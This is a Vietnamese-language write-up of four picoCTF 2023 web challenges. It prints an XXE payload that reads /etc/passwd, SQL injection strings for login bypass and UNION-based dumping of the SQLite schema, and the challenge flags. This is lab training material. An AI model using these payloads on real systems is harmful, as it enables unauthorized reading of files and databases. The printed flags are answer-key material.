# picoCTF_2023
## 1. findme

Ta thử đăng nhập vô với username và password đã cho sẵn (username = `test`, password = `test`)

Và bùm, **1 cú lừa**.
Ở đây nhìn kỹ thì mới thấy là username = `test`, password = `test!`

Sau khi đăng nhập thành công và loay hay một hồi ở đây thì nhận ra rằng **ở đây chả có cái vẹo gì cả**
Bật burpsuite lên kiểm tra thử:
Chặn chỗ login xem có gì không

Thấy cái dòng `cGljb0NURntwcm94aWVzX2Fs` khả nghi quá đem ra decode base64 thử xem => `picoCTF{proxies_al`
Ra mảnh đầu của flag rồi giờ tìm mảnh cuối.
Ta tiếp tục điều hướng sang trang sau khi login thành công

Cái dòng `bF90aGVfd2F5XzU5OWE4MGMyfQ==` vừa lạ vừa quen, lại tiếp tục decode base64 => `l_the_way_599a80c2}`
Vậy ghép lại ra flag: `picoCTF{proxies_all_the_way_599a80c2}`
## 2. MatchTheRegex

Như tên đề bài, ta phải nhập giá trị khớp với giá trị nào đó thì nó sẽ trả về flag
Thử kiểm tra source code xem

Biến `val` này sẽ nhận giá trị của ô **input**. Sau đó `fetch` sẽ call Api trả về flag dưới dạng JSON nếu như biến `val` match
Để ý thì ở đây có comment 1 dòng `// ^p.....F!?` => Chắc là `picoCTF` đây mà :))
Nhập thử `picoCTF` vào ô input

Và bùm ta được flag
Hoặc là truy cập vào `/flag?input=${val}` thay giá trị biến `val` = `picoCTF`

Ta cũng thu được flag dưới dạng JSON
=> Flag: `picoCTF{succ3ssfully_matchtheregex_2375af79}`
## 3. SOAP

Mới vô thì không thấy gì đặc biệt cả. Thử dùng burp suite xem sao

Dễ dàng nhận ra đây là `XXE`
Sau một hồi viết lách

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE change-log [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>
<ID>
&xxe;
</ID>
</data>
```
=> flag: `picoCTF{XML_3xtern@l_3nt1t1ty_0dcf926e}`
## 4. More SQLi

Mới đầu vô thử login bằng username = `admin`, password = `admin`

Khả năng cao là bị dính SQL injection
Thừ dùng username = `admin' or 1=1-- `, password = `admin' or 1=1-- `

Login thành công ^^
Ta thử check tiếp xem có bị dinh Sql injection hay không
Bằng cách nhập `1' or '1'='1'-- ` vô ô input

=> Dính Sqli rồi ^^
Giờ ta sẽ tìm số cột bị lỗi, lấy đại 1 tên công ty để viết query (`Bamako`)
query: `Bamako' order by 3-- `

3 cột đầu vẫn chưa có dấu hiệu gì, tăng lên 4 xem sao
query: `Bamako' order by 4-- `

Bùm đến cột thứ 4 không hiện gì thì có nghĩa là 3 cột đầu bị lỗi
Tiếp theo là tìm tên các table
(vì đây là Sqlite nên sẽ có phần khác 1 chút `table_name` --> `tbl_name`, `information_schema.tables` --> `sqlite_master`)
query: `Bamako' union select tbl_name,NULL,NULL from sqlite_master-- `

Giờ đến tìm thêm mỗi tabel có những column gì
Chợt nhận ra mình có thể tìm luôn tên table kèm column mỗi cái luôn
query: `Bamako' union select sql,NULL,NULL from sqlite_master-- `

Thấy flag kia rồi, tiếp theo sẽ tiến hành đọc nó
query: `Bamako' union select flag,NULL,NULL from more_table-- `

=> flag: `picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_78d0583a}`